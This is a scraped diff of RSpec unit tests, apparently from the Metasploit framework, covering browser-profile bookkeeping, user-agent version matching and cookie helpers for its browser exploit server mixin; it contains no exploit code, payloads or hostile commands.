requirements = { ua_ver: '34' }
|
||||
subject.instance_variable_set(:@requirements, requirements)
|
||||
expect(subject.get_bad_requirements(first_profile_info)).to include(:ua_ver)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when there is no bad requirement' do
|
||||
it 'returns an empty hash' do
|
||||
requirements = { ua_ver: first_profile_info[:ua_ver] }
|
||||
subject.instance_variable_set(:@requirements, requirements)
|
||||
expect(subject.get_bad_requirements(first_profile_info)).to be_empty
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#process_browser_info' do
|
||||
before(:each) do
|
||||
allow(subject).to receive(:report_client) { |args| @report_client = args }
|
||||
allow(subject).to receive(:browser_profile).and_return(Hash.new)
|
||||
end
|
||||
|
||||
context 'when source is :script' do
|
||||
context 'when no profile is found' do
|
||||
it 'reports an empty ua_ver' do
|
||||
subject.process_browser_info(:script, cli, cli_request)
|
||||
expect(@report_client[:ua_ver]).to eq('[]')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context 'when source is :headers' do
|
||||
context 'when user-agent says the browser is FF 35.0' do
|
||||
it 'reports ua_ver as 35.0' do
|
||||
subject.process_browser_info(:headers, cli, cli_request)
|
||||
expect(@report_client[:ua_ver]).to eq('35.0')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#has_proxy?' do
|
||||
context 'when there is no proxy' do
|
||||
it 'returns false' do
|
||||
expect(subject.has_proxy?(cli_request)).to be_falsey
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#cookie_name' do
|
||||
before(:each) do
|
||||
subject.datastore.merge!({'CookieName'=>cookie})
|
||||
end
|
||||
|
||||
it 'returns a cookiename' do
|
||||
expect(subject.cookie_name).to eq(cookie)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#cookie_header' do
|
||||
it 'returns a cookie' do
|
||||
tag = 'TAG'
|
||||
expect(subject.cookie_header(tag)).to include(tag)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,51 @@
|
|||
require 'msf/core'
|
||||
|
||||
describe Msf::Exploit::Remote::BrowserProfileManager do
|
||||
|
||||
subject do
|
||||
mod = Msf::Exploit::Remote.allocate
|
||||
mod.extend described_class
|
||||
mod
|
||||
end
|
||||
|
||||
let(:default_profile) do
|
||||
{
|
||||
'PREFIX' => {'KEY'=>'VALUE'}
|
||||
}
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
framework = double('framework')
|
||||
allow(framework).to receive(:browser_profiles).and_return(default_profile)
|
||||
allow_any_instance_of(described_class).to receive(:framework).and_return(framework)
|
||||
end
|
||||
|
||||
describe '#browser_profile_prefix' do
|
||||
it 'raises a NoMethodError' do
|
||||
expect{subject.browser_profile_prefix}.to raise_exception(NoMethodError)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#browser_profile' do
|
||||
before(:each) do
|
||||
allow(subject).to receive(:browser_profile_prefix).and_return('PREFIX')
|
||||
end
|
||||
|
||||
it 'returns a hash for the profile' do
|
||||
expect(subject.browser_profile).to be_kind_of(Hash)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#clear_browser_profiles' do
|
||||
before(:each) do
|
||||
allow(subject).to receive(:browser_profile_prefix).and_return('PREFIX')
|
||||
end
|
||||
|
||||
it 'clears profile cache' do
|
||||
expect(subject.browser_profile.length).to eq(1)
|
||||
subject.clear_browser_profiles
|
||||
expect(subject.browser_profile).to be_empty
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue